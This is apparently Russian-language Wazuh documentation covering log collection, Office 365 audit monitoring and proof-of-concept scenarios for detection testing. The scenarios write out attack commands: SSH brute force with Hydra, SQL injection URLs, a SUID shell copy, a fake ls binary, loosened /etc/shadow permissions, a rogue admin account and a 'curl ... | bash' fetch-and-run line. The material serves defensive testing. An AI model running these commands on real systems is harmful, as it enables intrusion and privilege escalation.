Wazuh автоматически отслеживает ротацию лог-файлов. Модуль Logcollector обнаруживает, когда файл был пересоздан или обрезан, и начинает чтение с начала нового файла. Для файлов с датой в имени используйте шаблоны:

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/app/app-%Y-%m-%d.log</location>
</localfile>
```

Параметр `age` ограничивает обработку только недавними файлами:

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/archive/*.log</location>
  <age>7d</age>
</localfile>
```

В этом примере обрабатываются только файлы, измененные за последние 7 дней.

## Перенаправление вывода (target и out_format)

Wazuh позволяет перенаправлять логи на дополнительные сокеты и форматировать вывод:

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/secure</location>
  <target>agent,custom_socket</target>
  <out_format target="custom_socket">
    %(hostname)s: %(log)s
  </out_format>
</localfile>
```

## Параметры restrict и ignore

Фильтрация строк по регулярным выражениям:

```xml
<!-- Обрабатывать только строки с ошибками -->
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/application.log</location>
  <restrict>ERROR|CRITICAL|FATAL</restrict>
</localfile>

<!-- Пропускать строки с отладочной информацией -->
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/application.log</location>
  <ignore>DEBUG|TRACE</ignore>
</localfile>
```

## Сравнение с другими платформами

| Возможность | Wazuh Logcollector | Splunk Inputs | Logstash / Filebeat |
|-------------|-------------------|---------------|---------------------|
| Файловые логи | localfile с шаблонами | monitor / inputs.conf | file input plugin / filebeat |
| Windows EventLog | eventchannel + XPATH | WinEventLog | winlogbeat |
| macOS ULS | Нативная поддержка | Нет нативной | Нет нативной |
| Удаленный syslog | Встроенный приемник | Встроенный (UDP/TCP) | syslog input plugin |
| JSON-логи | Автоматический разбор | Автоматический разбор | json codec |
| Multi-line | Фиксированный и regex | Настраиваемый | multiline codec |
| Команды | command / full_command | scripted input | exec input |
| Фильтрация на агенте | restrict / ignore | Нет (фильтрация на сервере) | processors / include_lines |
| Стоимость | Бесплатно | Коммерческая | Бесплатно (базовая) |

## Конвейер обработки логов

Собранные логи проходят через три этапа обработки на сервере Wazuh:

1. **Предварительное декодирование** - извлечение базовых полей (временная метка, имя хоста, программа)
2. **Декодирование** - структурированный разбор полей с использованием деко деров
3. **Сопоставление с правилами** - генерация алертов на основании правил обнаружения

Все логи (включая не вызвавшие алертов) сохраняются в архив `/var/ossec/logs/archives/` для ретроспективного анализа, если архивирование включено.

Подробнее о деко дерах: [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/)

## Устранение неполадок

### Логи не собираются

- Проверьте, что путь в `<location>` существует и доступен для чтения пользователю `wazuh`
- Убедитесь, что `<log_format>` соответствует реальному формату лога
- Проверьте `/var/ossec/logs/ossec.log` на наличие ошибок Logcollector
- Для подстановочных шаблонов убедитесь, что файлы соответствуют указанному шаблону

### Windows EventChannel не работает

- Проверьте точное имя канала событий (с учетом регистра)
- Валидируйте XPATH-запрос в `<query>` через Windows Event Viewer
- Убедитесь, что параметр `<reconnect_time>` установлен (по умолчанию 5s)
- Проверьте, что агент запущен с правами администратора

### macOS ULS не возвращает события

- Проверьте синтаксис предикатного выражения в `<query>`
- Убедитесь, что уровень (`level`) не слишком высокий для искомых событий
- Протестируйте предикат через команду `log stream --predicate` в терминале

### Высокое потребление ресурсов

- Используйте `<restrict>` и `<ignore>` для фильтрации ненужных строк
- Увеличьте `<frequency>` для команд с частым выводом
- Ограничьте `<age>` для директорий с большим количеством файлов
- Используйте XPATH-фильтрацию для EventChannel, чтобы исключить шумные события

Подробнее об установке агентов: [Установка агента Wazuh](/docs/wazuh/installation/wazuh-agent-installation/)

Подробнее о сценариях использования: [Сценарии использования Wazuh](/docs/wazuh/getting-started/wazuh-use-cases/)


---

# Wazuh Office 365 - мониторинг аудита Microsoft 365

Source: https://opennix.org/docs/wazuh/cloud-security/wazuh-office365-monitoring/


Wazuh обеспечивает мониторинг безопасности Microsoft 365 через модуль `office365`, который собирает журналы аудита из Office 365 Management Activity API. Модуль отслеживает действия пользователей в Exchange Online, SharePoint Online, Microsoft Teams, Azure Active Directory и событиях DLP. Интеграция позволяет обнаруживать подозрительные входы, несанкционированный доступ к почтовым ящикам, нарушения политик DLP и административные действия в рамках тенанта Microsoft 365.

## Office 365 Management Activity API

Office 365 Management Activity API - это REST API, предоставляющий доступ к журналам аудита и активности из различных сервисов Microsoft 365. API использует модель подписок: клиент подписывается на определенные типы контента и периодически запрашивает новые события.

### Типы контента

| Тип контента | Описание |
|-------------|----------|
| `Audit.AzureActiveDirectory` | События аутентификации, управления пользователями и группами в Microsoft Entra ID |
| `Audit.Exchange` | Действия с почтовыми ящиками, правилами транспорта, антиспамом |
| `Audit.SharePoint` | Операции с файлами, сайтами, разрешениями в SharePoint и OneDrive |
| `Audit.General` | События рабочих нагрузок, не вошедших в другие категории (Teams, Power BI) |
| `DLP.All` | Срабатывания политик Data Loss Prevention для Exchange, SharePoint и OneDrive |

## Регистрация приложения Azure AD

Для работы модуля необходимо зарегистрировать приложение в Microsoft Entra ID и предоставить разрешения для доступа к Management Activity API.

### Процедура регистрации

1. Перейдите на [portal.azure.com](https://portal.azure.com) в раздел **Microsoft Entra ID - App registrations**
2. Нажмите **New registration**
3. Укажите имя (например, `Wazuh-Office365-Monitor`)
4. Выберите **Accounts in this organizational directory only** (Single tenant)
5. Зафиксируйте значения из раздела Overview:
   - **Application (client) ID**
   - **Directory (tenant) ID**

### Создание секрета клиента

1. Перейдите в **Certificates & Secrets**
2. Нажмите **New client secret**
3. Укажите описание и срок действия (рекомендуется 12-24 месяца)
4. Скопируйте значение секрета (отображается только один раз)

### Назначение разрешений API

1. Перейдите в **API permissions - Add a permission**
2. Выберите **Office 365 Management APIs**
3. Выберите **Application permissions**
4. Добавьте следующие разрешения:

| Разрешение | Описание |
|-----------|----------|
| `ActivityFeed.Read` | Чтение данных активности организации |
| `ActivityFeed.ReadDlp` | Чтение событий DLP, включая обнаруженные конфиденциальные данные |

5. Нажмите **Grant admin consent for [Your Organization]**

## Конфигурация модуля office365

Модуль настраивается в `ossec.conf` на сервере Wazuh.

### Базовая конфигурация

```xml
<office365>
  <enabled>yes</enabled>
  <interval>1m</interval>
  <curl_max_size>1M</curl_max_size>
  <only_future_events>yes</only_future_events>
  <api_auth>
    <tenant_id>YOUR_TENANT_ID</tenant_id>
    <client_id>YOUR_CLIENT_ID</client_id>
    <client_secret>YOUR_CLIENT_SECRET</client_secret>
    <api_type>commercial</api_type>
  </api_auth>
  <subscriptions>
    <subscription>Audit.AzureActiveDirectory</subscription>
    <subscription>Audit.Exchange</subscription>
    <subscription>Audit.SharePoint</subscription>
    <subscription>Audit.General</subscription>
    <subscription>DLP.All</subscription>
  </subscriptions>
</office365>
```

### Конфигурация для государственных организаций (GCC)

```xml
<office365>
  <enabled>yes</enabled>
  <interval>5m</interval>
  <curl_max_size>1M</curl_max_size>
  <only_future_events>yes</only_future_events>
  <api_auth>
    <tenant_id>YOUR_TENANT_ID</tenant_id>
    <client_id>YOUR_CLIENT_ID</client_id>
    <client_secret>YOUR_CLIENT_SECRET</client_secret>
    <api_type>gcc-high</api_type>
  </api_auth>
  <subscriptions>
    <subscription>Audit.AzureActiveDirectory</subscription>
    <subscription>Audit.Exchange</subscription>
  </subscriptions>
</office365>
```

### Мультитенантная конфигурация

При мониторинге нескольких тенантов Microsoft 365 добавьте несколько блоков `api_auth`:

```xml
<office365>
  <enabled>yes</enabled>
  <interval>1m</interval>
  <curl_max_size>1M</curl_max_size>
  <only_future_events>yes</only_future_events>
  <api_auth>
    <tenant_id>TENANT_ID_1</tenant_id>
    <client_id>CLIENT_ID_1</client_id>
    <client_secret>CLIENT_SECRET_1</client_secret>
    <api_type>commercial</api_type>
  </api_auth>
  <api_auth>
    <tenant_id>TENANT_ID_2</tenant_id>
    <client_id>CLIENT_ID_2</client_id>
    <client_secret>CLIENT_SECRET_2</client_secret>
    <api_type>commercial</api_type>
  </api_auth>
  <subscriptions>
    <subscription>Audit.AzureActiveDirectory</subscription>
    <subscription>Audit.General</subscription>
  </subscriptions>
</office365>
```

### Параметры модуля

| Параметр | Значение по умолчанию | Описание |
|----------|-----------------------|----------|
| `enabled` | yes | Включение или отключение модуля |
| `interval` | 10m | Интервал опроса API (s/m/h/d) |
| `curl_max_size` | 1M | Максимальный размер ответа API |
| `only_future_events` | yes | Сбор только новых событий после первого запуска |
| `tenant_id` | - | Идентификатор тенанта Azure AD |
| `client_id` | - | Идентификатор приложения (Application ID) |
| `client_secret` | - | Секрет клиента |
| `api_type` | commercial | Тип подписки (commercial, gcc, gcc-high) |

### API-точки доступа по типу подписки

| Тип | URL |
|-----|-----|
| Enterprise | `https://manage.office.com/api/v1.0/{tenant_id}/activity/feed/{operation}` |
| GCC | `https://manage-gcc.office.com/api/v1.0/{tenant_id}/activity/feed/{operation}` |
| GCC High | `https://manage.office365.us/api/v1.0/{tenant_id}/activity/feed/{operation}` |
| DoD | `https://manage.protection.apps.mil/api/v1.0/{tenant_id}/activity/feed/{operation}` |

## Примеры алертов

### Подозрительный вход в учетную запись

```json
{
  "rule": {
    "id": "91545",
    "level": 6,
    "description": "Office 365: Suspicious sign-in activity detected"
  },
  "data": {
    "office365": {
      "Workload": "AzureActiveDirectory",
      "Operation": "UserLoginFailed",
      "UserId": "user@company.com",
      "ClientIP": "198.51.100.42",
      "ResultStatus": "Failed",
      "LogonError": "InvalidUserNameOrPassword",
      "DeviceProperties": {
        "OS": "Windows 10",
        "BrowserType": "Chrome"
      }
    }
  }
}
```

### Доступ к почтовому ящику другого пользователя

```json
{
  "rule": {
    "id": "91550",
    "level": 7,
    "description": "Office 365: Mailbox accessed by non-owner"
  },
  "data": {
    "office365": {
      "Workload": "Exchange",
      "Operation": "MailboxLogin",
      "UserId": "admin@company.com",
      "MailboxOwnerUPN": "ceo@company.com",
      "ClientIP": "10.0.1.50",
      "LogonType": 1,
      "ResultStatus": "Succeeded"
    }
  }
}
```

### Срабатывание политики DLP

```json
{
  "rule": {
    "id": "91560",
    "level": 10,
    "description": "Office 365: DLP policy violation detected"
  },
  "data": {
    "office365": {
      "Workload": "Exchange",
      "Operation": "DlpRuleMatch",
      "UserId": "user@company.com",
      "PolicyDetails": [{
        "PolicyName": "Credit Card Number Detection",
        "Rules": [{
          "RuleName": "Block external sharing of credit cards",
          "Severity": "High",
          "ConditionsMatched": {
            "SensitiveInformation": [{
              "SensitiveInformationTypeName": "Credit Card Number",
              "Count": 3
            }]
          }
        }]
      }]
    }
  }
}
```

### Административное действие

```json
{
  "rule": {
    "id": "91570",
    "level": 8,
    "description": "Office 365: Admin role assigned to user"
  },
  "data": {
    "office365": {
      "Workload": "AzureActiveDirectory",
      "Operation": "Add member to role",
      "UserId": "globaladmin@company.com",
      "ObjectId": "user@company.com",
      "ModifiedProperties": [{
        "Name": "Role.DisplayName",
        "NewValue": "Global Administrator"
      }]
    }
  }
}
```

## Сценарии использования

### Обнаружение подозрительных входов

- Множественные неудачные попытки входа (brute force)
- Входы с географически удаленных локаций в короткий промежуток (impossible travel)
- Входы с анонимных IP-адресов
- Успешный вход после серии отказов (password spraying)

### Мониторинг доступа к почтовым ящикам

- Доступ к чужому почтовому ящику делегированным пользователем
- Создание правил пересылки почты на внешние адреса
- Массовое удаление сообщений
- Изменение прав доступа к календарю

### Обнаружение нарушений DLP

- Отправка документов с номерами кредитных карт
- Пересылка файлов с персональными данными на внешние адреса
- Загрузка конфиденциальных документов в SharePoint с открытым доступом
- Обнаружение паттернов конфиденциальных данных в Teams

### Мониторинг административных действий

- Назначение привилегированных ролей (Global Admin, Exchange Admin)
- Изменение политик условного доступа
- Создание или модификация правил транспорта Exchange
- Отключение аудита или многофакторной аутентификации

## Устранение неполадок

### Модуль не получает события

- Проверьте корректность `tenant_id`, `client_id` и `client_secret`
- Убедитесь, что разрешения `ActivityFeed.Read` и `ActivityFeed.ReadDlp` назначены
- Проверьте, что предоставлено согласие администратора (Admin Consent)
- Подождите до 24 часов после первой активации - API может требовать время на подготовку подписок

### Ошибка аутентификации

- Проверьте, что секрет клиента не истек
- Убедитесь, что `api_type` соответствует вашей подписке (commercial, gcc, gcc-high)
- Проверьте, что приложение не заблокировано в Azure AD
- Просмотрите журнал `/var/ossec/logs/ossec.log` на наличие HTTP 401/403

### Пустые ответы API

- Убедитесь, что аудит включен в центре администрирования Microsoft 365
- Проверьте, что подписки на нужные типы контента активны
- При первом запуске установите `only_future_events` в `no` для получения исторических данных
- Проверьте, что в тенанте есть активность за запрошенный период

### Высокий объем событий

- Ограничьте подписки только необходимыми типами контента
- Увеличьте значение `interval` для снижения частоты опроса
- Создайте правила Wazuh для фильтрации шумных событий
- Используйте `curl_max_size` для ограничения объема данных за один запрос

## Связанные разделы

- [Мониторинг облачной безопасности](/docs/wazuh/cloud-security/) - обзор облачных интеграций
- [Мониторинг Azure](/docs/wazuh/cloud-security/wazuh-azure-monitoring/) - интеграция с Microsoft Azure (общая Azure AD)
- [Возможности Wazuh](/docs/wazuh/capabilities/) - модули безопасности платформы


---

# Wazuh PoC-сценарии - 15 тестов обнаружения угроз

Source: https://opennix.org/docs/wazuh/poc/wazuh-poc-scenarios/


Этот раздел содержит 15 готовых сценариев Proof of Concept для демонстрации возможностей обнаружения угроз Wazuh 4.14. Каждый сценарий включает описание атаки, команду для ее воспроизведения в тестовой среде и ожидаемый алерт с идентификатором правила. Все сценарии следует выполнять исключительно в изолированных тестовых средах.

## Сводная таблица сценариев

| # | Сценарий | MITRE ATT&CK | Wazuh Rule ID | Уровень |
|---|---|---|---|---|
| 1 | Brute-force SSH | T1110 | 5710, 5712 | 10 |
| 2 | Обнаружение вредоносного ПО (EICAR) | T1204 | 87105 | 12 |
| 3 | FIM - изменение файла | T1565 | 550, 554 | 7 |
| 4 | Обнаружение уязвимостей | - | 23501-23504 | 7-13 |
| 5 | SCA - несоответствие политике | - | 19001-19004 | 3-7 |
| 6 | Веб-атака (SQL injection) | T1190 | 31103, 31106 | 6-12 |
| 7 | Обнаружение руткита | T1014 | 510-516 | 7-12 |
| 8 | Обнаружение трояна | T1036 | 510 | 7 |
| 9 | Docker exec мониторинг | T1610 | 87924 | 5 |
| 10 | Windows аудит (создание пользователя) | T1136 | 5157 | 10 |
| 11 | Linux аудит (sudo) | T1548.003 | 5401-5403 | 3-5 |
| 12 | Active Directory logon | T1078 | 60106, 60122 | 3-10 |
| 13 | Подозрительный бинарный файл | T1036 | 100300+ | 7-10 |
| 14 | Обнаружение сканирования (Nmap) | T1046 | 581 | 10 |
| 15 | Поведение ransomware | T1486 | 554, 100400+ | 12-14 |

## Сценарий 1: Brute-force SSH

Моделирование атаки подбора пароля SSH. Wazuh обнаруживает множественные неудачные попытки аутентификации с одного IP-адреса и генерирует алерт о brute-force атаке. Это один из наиболее распространенных векторов начального доступа к серверам.

### Предварительные требования

- Wazuh Agent установлен на целевом Linux-сервере
- SSH-сервер запущен и доступен
- Модуль log data collection настроен для `/var/log/auth.log` (Debian/Ubuntu) или `/var/log/secure` (RHEL/CentOS)

### Команда запуска

```bash
# С атакующей машины - 10 неудачных попыток входа
for i in $(seq 1 10); do
  sshpass -p 'wrongpassword' ssh -o StrictHostKeyChecking=no testuser@TARGET_IP 2>/dev/null
done
```

Альтернативный вариант с использованием Hydra:

```bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 4 -V
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 5710 | 5 | sshd: Attempt to login using a non-existent user |
| 5712 | 10 | sshd: brute force trying to get access to the system |
| 5720 | 10 | Multiple sshd authentication failures |

### Проверка

```bash
# Через OpenSearch
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.id":"5712"}},{"range":{"timestamp":{"gte":"now-1h"}}}]}}}'
```

## Сценарий 2: Обнаружение вредоносного ПО (EICAR)

Проверка обнаружения вредоносного ПО с использованием тестового файла EICAR. EICAR - стандартный тестовый файл, распознаваемый всеми антивирусными решениями. Wazuh обнаруживает его через интеграцию с VirusTotal при изменении файловой системы.

### Предварительные требования

- Модуль FIM (syscheck) настроен для мониторинга целевой директории
- Интеграция с VirusTotal активирована (необязательно, но рекомендуется)
- ClamAV установлен на агенте (для альтернативного метода обнаружения)

### Команда запуска

```bash
# Создание тестового файла EICAR
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \
  > /tmp/eicar-test.txt

# Альтернатива: скачивание EICAR
curl -o /tmp/eicar-test.com https://secure.eicar.org/eicar.com
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 554 | 7 | File added to the system (FIM) |
| 87105 | 12 | VirusTotal: Alert - /tmp/eicar-test.txt - X positives |
| 52502 | 7 | ClamAV: Virus detected (если ClamAV установлен) |

### Проверка

```bash
# Проверка алертов FIM
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.groups":"syscheck"}},{"match":{"syscheck.path":"/tmp/eicar-test.txt"}}]}}}'
```

### Очистка

```bash
rm -f /tmp/eicar-test.txt /tmp/eicar-test.com
```

## Сценарий 3: FIM - мониторинг изменений файлов

Проверка модуля File Integrity Monitoring. FIM отслеживает создание, модификацию и удаление файлов в контролируемых директориях. Алерт содержит информацию о типе изменения, хешах файла и пользователе, выполнившем операцию.

### Предварительные требования

Модуль syscheck настроен для мониторинга тестовой директории:

```xml
<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/test-fim</directories>
</syscheck>
```

### Команда запуска

```bash
# Создание тестовой директории и файла
mkdir -p /opt/test-fim
echo "original content" > /opt/test-fim/config.txt

# Ожидание сканирования (или мгновенно при realtime="yes")
sleep 10

# Модификация файла
echo "modified content" >> /opt/test-fim/config.txt

# Изменение прав
chmod 777 /opt/test-fim/config.txt

# Удаление файла
rm -f /opt/test-fim/config.txt
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 554 | 5 | File added to the system |
| 550 | 7 | Integrity checksum changed |
| 553 | 7 | File permissions changed |
| 553 | 7 | File deleted |

### Проверка

```bash
# Через Wazuh API
TOKEN=$(curl -sk -u wazuh-wui:${WUI_PASS} \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscheck/001?search=/opt/test-fim"
```

Подробнее о настройке FIM читайте в разделе [Мониторинг целостности файлов](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/).

## Сценарий 4: Обнаружение уязвимостей

Проверка модуля Vulnerability Detector. Wazuh сканирует установленные пакеты на агенте и сопоставляет их версии с базами уязвимостей (CVE). Модуль автоматически обновляет базы и генерирует алерты при обнаружении уязвимых пакетов.

### Предварительные требования

Модуль Vulnerability Detector включен на менеджере:

```xml
<vulnerability-detector>
  <enabled>yes</enabled>
  <interval>5m</interval>
  <run_on_start>yes</run_on_start>
  <provider name="canonical">
    <enabled>yes</enabled>
    <os>focal</os>
    <os>jammy</os>
    <update_interval>1h</update_interval>
  </provider>
  <provider name="nvd">
    <enabled>yes</enabled>
    <update_interval>1h</update_interval>
  </provider>
</vulnerability-detector>
```

### Команда запуска

```bash
# Установка заведомо уязвимого пакета
# (пример: OpenSSL с известной CVE)
apt-get install openssl=1.1.1f-1ubuntu2 -y 2>/dev/null || true

# Или для CentOS/RHEL
yum downgrade openssl -y 2>/dev/null || true

# Ожидание следующего цикла сканирования
# (по умолчанию: 5 минут)
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 23501 | 7 | Vulnerability found: Low severity |
| 23502 | 9 | Vulnerability found: Medium severity |
| 23503 | 11 | Vulnerability found: High severity |
| 23504 | 13 | Vulnerability found: Critical severity |

### Проверка

```bash
# Через Wazuh API
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/vulnerability/001?limit=5&sort=-severity"
```

## Сценарий 5: SCA - несоответствие конфигурации

Проверка модуля Security Configuration Assessment. SCA сравнивает настройки системы с политиками CIS Benchmark и генерирует алерты при обнаружении несоответствий. Результаты включают рекомендации по исправлению.

### Предварительные требования

Модуль SCA активирован на агенте:

```xml
<sca>
  <enabled>yes</enabled>
  <scan_on_start>yes</scan_on_start>
  <interval>12h</interval>
</sca>
```

### Команда запуска

```bash
# Создание заведомо небезопасной конфигурации SSH
sed -i 's/^#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/^#PermitEmptyPasswords.*/PermitEmptyPasswords yes/' /etc/ssh/sshd_config

# Установка небезопасных прав на /etc/shadow
chmod 644 /etc/shadow

# Принудительный запуск SCA-сканирования
/var/ossec/bin/wazuh-control reload
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 19001 | 3 | SCA scan started |
| 19002 | 7 | SCA check failed: Ensure SSH root login is disabled |
| 19003 | 5 | SCA check passed |
| 19004 | 3 | SCA scan completed |

### Проверка

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/sca/001/checks/cis_ubuntu22-04" \
  | jq '.data.affected_items[] | select(.result == "failed") | {id, title}'
```

### Очистка

```bash
# Восстановление безопасных настроек
sed -i 's/^PermitRootLogin yes/#PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
sed -i 's/^PermitEmptyPasswords yes/#PermitEmptyPasswords no/' /etc/ssh/sshd_config
chmod 640 /etc/shadow
```

## Сценарий 6: Веб-атака - SQL Injection

Моделирование SQL-инъекции через веб-приложение. Wazuh анализирует логи веб-сервера и обнаруживает паттерны SQL-инъекций в URL-параметрах и POST-данных, используя встроенные правила для Apache, Nginx и IIS.

### Предварительные требования

- Apache или Nginx установлен на агенте
- Wazuh настроен для мониторинга логов веб-сервера

### Команда запуска

```bash
# SQL injection через URL-параметры
curl "http://TARGET_IP/page?id=1'+OR+'1'='1"
curl "http://TARGET_IP/page?id=1;DROP+TABLE+users--"
curl "http://TARGET_IP/page?id=1'+UNION+SELECT+null,username,password+FROM+users--"
curl "http://TARGET_IP/search?q='+OR+1=1+--"
curl "http://TARGET_IP/login?user=admin'--&pass=anything"

# SQL injection через POST (если есть форма)
curl -X POST "http://TARGET_IP/login" \
  -d "username=admin'--&password=anything"

# Множественные попытки для генерации корреляционного алерта
for i in $(seq 1 20); do
  curl -s "http://TARGET_IP/page?id=${i}'+OR+'1'='1" > /dev/null
done
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 31103 | 6 | SQL injection attempt |
| 31106 | 12 | Web server 500 error (possible successful injection) |
| 31151 | 10 | Multiple web server 400 errors from same source |
| 31161 | 10 | Multiple SQL injection attempts |

## Сценарий 7: Обнаружение руткита

Проверка модуля Rootcheck. Модуль обнаруживает признаки руткитов: скрытые процессы, подозрительные файлы в системных директориях, модифицированные системные бинарные файлы и аномалии в файловой системе.

### Предварительные требования

Модуль rootcheck активирован:

```xml
<rootcheck>
  <disabled>no</disabled>
  <check_files>yes</check_files>
  <check_trojans>yes</check_trojans>
  <check_dev>yes</check_dev>
  <check_sys>yes</check_sys>
  <check_pids>yes</check_pids>
  <check_ports>yes</check_ports>
  <frequency>36000</frequency>
</rootcheck>
```

### Команда запуска

```bash
# Создание подозрительного файла в /dev (типичное поведение руткита)
touch /dev/.hidden_file

# Создание файла с SUID-битом в нетипичном месте
cp /bin/bash /tmp/.suid_shell
chmod 4755 /tmp/.suid_shell

# Создание скрытого каталога в /dev
mkdir -p /dev/shm/.hidden_dir

# Принудительный запуск rootcheck
/var/ossec/bin/wazuh-control reload
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 510 | 7 | Host-based anomaly detection event |
| 512 | 7 | Hidden file or directory found in /dev |
| 513 | 8 | Hidden file found in /dev/shm |
| 516 | 12 | SUID/SGID binary found in unusual location |

### Очистка

```bash
rm -f /dev/.hidden_file /tmp/.suid_shell
rm -rf /dev/shm/.hidden_dir
```

## Сценарий 8: Обнаружение трояна

Rootcheck проверяет системные бинарные файлы на наличие подозрительных строк, характерных для троянских программ. Модуль сравнивает системные утилиты с базой известных сигнатур троянов.

### Предварительные требования

- Rootcheck активирован с `<check_trojans>yes</check_trojans>`
- База данных троянов обновлена (`/var/ossec/etc/shared/rootkit_trojans.txt`)

### Команда запуска

```bash
# Создание поддельного системного бинарного файла
# (имитация трояна в ls)
cp /bin/ls /tmp/ls_backup
cat > /tmp/trojan_test.c << 'CEOF'
#include <stdlib.h>
int main() {
    system("/bin/ls");
    return 0;
}
CEOF
gcc -o /usr/local/bin/ls /tmp/trojan_test.c 2>/dev/null

# Создание файла с подозрительным именем
touch /usr/bin/..LsA

# Принудительный запуск rootcheck
/var/ossec/bin/wazuh-control reload
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 510 | 7 | Trojaned version of file detected |
| 511 | 7 | Anomaly detected in system binary |

### Очистка

```bash
rm -f /usr/local/bin/ls /tmp/trojan_test.c /usr/bin/..LsA
cp /tmp/ls_backup /bin/ls 2>/dev/null
rm -f /tmp/ls_backup
```

## Сценарий 9: Docker exec мониторинг

Wazuh отслеживает операции с контейнерами Docker, включая запуск команд через `docker exec`, создание и удаление контейнеров. Мониторинг осуществляется через анализ логов Docker daemon.

### Предварительные требования

- Docker установлен на агенте
- Wazuh настроен для мониторинга Docker:

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/lib/docker/containers/*/*.log</location>
</localfile>

<wodle name="docker-listener">
  <disabled>no</disabled>
  <interval>10s</interval>
  <attempts>5</attempts>
  <run_on_start>yes</run_on_start>
</wodle>
```

### Команда запуска

```bash
# Запуск тестового контейнера
docker run -d --name wazuh-test-container alpine sleep 3600

# Выполнение команд внутри контейнера
docker exec wazuh-test-container id
docker exec wazuh-test-container cat /etc/passwd
docker exec -it wazuh-test-container /bin/sh -c "whoami && hostname"

# Подозрительные действия в контейнере
docker exec wazuh-test-container apk add nmap 2>/dev/null
docker exec wazuh-test-container wget http://example.com/suspicious 2>/dev/null
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 87924 | 5 | Docker: Container exec started |
| 87901 | 3 | Docker: Container created |
| 87903 | 3 | Docker: Container started |
| 87928 | 5 | Docker: Image pulled |

### Очистка

```bash
docker stop wazuh-test-container
docker rm wazuh-test-container
```

Подробнее о мониторинге контейнеров читайте в разделе [Container Security](/docs/wazuh/capabilities/wazuh-container-security/).

## Сценарий 10: Windows аудит - создание пользователя

Wazuh анализирует журнал событий Windows Security и обнаруживает создание новых учетных записей. Это критический индикатор компрометации, особенно при создании пользователей вне штатных процессов управления доступом.

### Предварительные требования

- Wazuh Agent установлен на Windows Server
- Аудит управления учетными записями включен в групповой политике

### Команда запуска

```powershell
# PowerShell: создание локального пользователя
New-LocalUser -Name "testuser_poc" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -FullName "PoC Test User" -Description "Created for Wazuh PoC"

# Добавление в группу администраторов
Add-LocalGroupMember -Group "Administrators" -Member "testuser_poc"

# cmd: альтернативный метод
net user testuser_poc P@ssw0rd123! /add
net localgroup Administrators testuser_poc /add
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 5157 | 10 | A user account was created (Event ID 4720) |
| 5158 | 10 | A user account was enabled (Event ID 4722) |
| 5155 | 10 | A member was added to a security-enabled global group (Event ID 4728) |

### Очистка

```powershell
Remove-LocalUser -Name "testuser_poc"
```

## Сценарий 11: Linux аудит - sudo

Wazuh мониторит использование команды sudo, фиксируя все случаи повышения привилегий. Алерты генерируются при успешном и неуспешном использовании sudo, а также при попытках выполнения запрещенных команд.

### Предварительные требования

- Wazuh Agent мониторит `/var/log/auth.log` или `/var/log/secure`

### Команда запуска

```bash
# Успешное выполнение sudo
sudo ls /root

# Неуспешная попытка sudo (от непривилегированного пользователя)
su - testuser -c "sudo cat /etc/shadow" 2>/dev/null

# Множественные неуспешные попытки
for i in $(seq 1 5); do
  echo "wrongpassword" | sudo -S cat /etc/shadow 2>/dev/null
done

# Sudo с подозрительной командой
sudo bash -c "curl http://example.com/payload | bash" 2>/dev/null
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 5401 | 3 | First time user executed sudo |
| 5402 | 5 | Successful sudo |
| 5403 | 5 | User NOT in sudoers file |
| 5404 | 5 | Incorrect password in sudo |

## Сценарий 12: Active Directory logon мониторинг

Wazuh анализирует события аутентификации Windows, включая интерактивные и сетевые входы в систему, блокировки учетных записей и использование привилегированных учетных записей.

### Предварительные требования

- Wazuh Agent установлен на контроллере домена или рабочей станции Windows
- Аудит входа в систему включен в групповой политике
- Политика блокировки учетных записей настроена

### Команда запуска

```powershell
# Множественные неудачные попытки входа (генерация блокировки)
$password = ConvertTo-SecureString "WrongPassword!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\testuser", $password)

for ($i = 1; $i -le 10; $i++) {
    try {
        Start-Process notepad.exe -Credential $cred -ErrorAction Stop
    } catch {
        Write-Host "Attempt $i failed"
    }
}

# Вход с привилегированной учетной записью
runas /user:DOMAIN\Administrator "cmd.exe /c whoami"
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 60106 | 5 | Logon failure (Event ID 4625) |
| 60122 | 10 | Account lockout (Event ID 4740) |
